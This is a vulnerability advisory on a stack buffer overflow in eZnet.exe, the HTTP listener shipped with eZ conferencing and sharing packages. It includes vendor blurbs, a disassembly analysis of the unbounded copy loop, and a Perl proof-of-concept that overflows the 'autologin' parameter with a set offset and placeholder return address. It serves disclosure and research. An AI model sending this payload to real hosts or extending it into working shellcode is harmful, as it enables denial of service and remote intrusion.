eZ Multiple Packages Stack Overflow Vulnerability ################################################# Credit: Author : Peter Winter-Smith Software: Packages : "eZnet.exe" + eZ Included in, or also known as: + eZphotoshare + eZmeeting + eZnetwork + eZshare Version : 3.5.0 and prior Vendor : eZnetwork Vendor Url : http://www.ezmeeting.com/Products.html Vulnerability: Bug Type : Stack-based Buffer Overflow Severity : Highly Critical + Remote Code Execution 1. Description of Software eZ: --- "Imagine going to the movies, but instead of seeing the picture, someone had to describe it to you verbally. That's what's happening in countless business discussions and conference calls every day. A lot of time and money is being wasted. That's why we created eZ. Now imagine having the ability to place any document right in front of the person you’re speaking with on the phone, immediately - Word, Excel, PowerPoint, PDF, CAD, Digital Photos. Online. Real time. That's the power of eZ. Regardless of the distance that separates your team, eZ delivers an amazingly interactive, simple, visual workspace for all team players. If a picture paints a thousand words, think what an interactive picture can do for your business. Picture it with eZ." - Vendor's Description eZnetwork: ---------- "eZnetwork is a service that works hand in hand with the eZ desktop application. It allows users to connect with others (outside their Local Area Network) over the Internet, by using an eZ identity, or 'Friendly Name'. eZnetwork also allows users to host conferences and join conferences, even when one or more participants are located behind corporate firewalls, without compromising security." - Vendor's Description eZphotoshare: ------------- "eZphotoshare is an amazing new way to share Digital Photos over the Internet with friends and family. Seeing is believing, download it today and interactively share digital photos anytime, anywhere. It's FREE for home use." - Vendor's Description eZshare: -------- "eZshare allows you to take your business to the next level in sharing project information both inside and outside the enterprise. This peer-to-peer project file sharing application gives people maximum flexibility and ease of use in organizing and securely sharing all team information. Create Projects, Add Files and Project Members, and you are ready to share." - Vendor's Description 2. Bug Information (a). Stack-based Buffer Overflow Each one of the eZ software packages is shipped with an application file which runs as part of the core system, 'eZnet.exe'. It acts as a simple HTTP server listening on port 80/tcp for connections from one of the eZ software packages. Once it receives a request, it will return a string of data which the client can use to help negotiate a session with the remote eZ user. There appears to be a serious issue with the way in which the eZnet application parses requests. A stack-based buffer overflow problem seems to arise when an overly long request is made to the server, however upon investigation it seems impossible to trigger this flaw via a simple 'GET' request, since other saved values which are critical to the continuation of the application cause it to crash well before the execution flow can be modified. It is possible to avoid this hang-up by issuing the overly long request as an argument within the internal module 'SwEzModule.dll'. A regular request to this module may look like: $normalrequest = "GET /SwEzModule.dll?operation=login&autologin=1 " . "HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n"; It appears that just sending an overly long 'operation' to the server causes similar problems to the issuing of an overly long 'GET' request, crashing the application before the execution path is modified, however it seems that sending an overly long argument to 'autologin', which is perhaps one of many 'safe' arguments which we can overflow, will allow complete modification of the instruction pointer regardless of any other values which may be overwritten. Something which makes this issue even more critical is the fact that eZnet.exe is the only application which is set to execute as soon as Windows is loaded, making every user of eZ vulnerable by default. A quick and simple code analysis shows us exactly where eZ went wrong: (i) Analysis of the Vulnerable Code At the instruction 00425580, the saved return address 00425583 is placed on the stack at the address 011AFF84. :00425580 FF5648 call [esi+48] :00425583 50 push eax The procedure which was called from 00425580, located at 00401FE0, is one which will receive the data from the socket, parse it, and then take action based on the results. The real problem lies within an internal parsing routine, a section of which seems to be code for a strcpy() type of function, This is shown below: :004031AF 8A10 mov dl, byte ptr [eax] :004031B1 84D2 test dl, dl :004031B3 740C je 004031C1 :004031B5 88140E mov byte ptr [esi+ecx], dl :004031B8 8A5001 mov dl, byte ptr [eax+01] :004031BB 41 inc ecx :004031BC 40 inc eax :004031BD 84D2 test dl, dl :004031BF 75F4 jne 004031B5 This procedure seems to move the first byte of the data which we have sent to the application via the socket, into the dl register. Then a check is performed to ensure that the value in dl isn't a null byte, which may signify that no data was received, and then the procedure continues to write the contents of the dl register to the address pointed to by the esi register plus the ecx register, the value of which is incremented each time round. Data is now being moved into into memory starting from 011AED30. The only built in limitations which the procedure has is the presence of a check for null bytes. The procedure will continue copying data until the first null is reached, which means that there is no limit to the amount of saved data which we can overwrite. With this being so, it is no problem at all to continue overwriting data indefinitely until we have completely overwritten the saved return address from 00425580, which is located at 011AFF84. When the procedure 00401FE0 has completed. the 'ret 4' instruction pops off the overwritten saved return address, and follows it to whatever ends we desire. :0040231A 5B pop ebx :0040231B 8BE5 mov esp, ebp :0040231D 5D pop ebp :0040231E C20400 ret 0004 3. Proof of Concept Code I have once again decided that it would not be appropriate for me to write and release exploit code for this issue until the vendor has written a fix for this issue, and the heap overflows which I noticed in various eZ applications. A harmless proof of concept exploit which should recreate the conditions of which I have been talking is included below: # ---------------------------------[eZstack.pl]--------------------------------- # #!/usr/bin/perl -w # # Stack Overflow Vulnerability in eZphotoshare - PoC # - by Peter Winter-Smith [peter4020@hotmail.com] use IO::Socket; if(!($ARGV[0])) { print "Usage: eZstack.pl \n\n"; exit; } print "Stack Overflow PoC\n"; $victim = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$ARGV[0], PeerPort=>"80") or die "Unable to connect to $ARGV[0] on port 80"; $eip = "\x58\x58\x58\x58"; $packet = "" . "GET /SwEzModule.dll?operation=login&autologin=" . "a"x4653 . $eip . "\x20HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n"; print $victim $packet; print " + Making Request ...\n"; sleep(4); close($victim); print "Done.\n"; exit; # ------------------------------------------------------------------------------ 4. Patches - Workarounds Currently no patches exist. The vendor has reported to me that he will be working on a patch for all of the security issues which I have raised, and they may be downloaded with the latest version from the vendors website as soon as they are released. Meanwhile www.secunia.com should provide a workaround for this problem as they did for the other issue which I discovered. 5. Credits The discovery, analysis and exploitation of this flaw is a result of research carried out by Peter Winter-Smith. I would ask that you do not regard any of the analysis to be 'set in stone', and that if investigating this flaw you back trace the steps detailed earlier for yourself. Greets and thanks to: David and Mark Litchfield, JJ Gray (Nexus), Todd and all the packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)), pv8man, nick k., Joel J. and Martine. o This document should be mirrored at: - http://www.elitehaven.net/ezstackoverflow.txt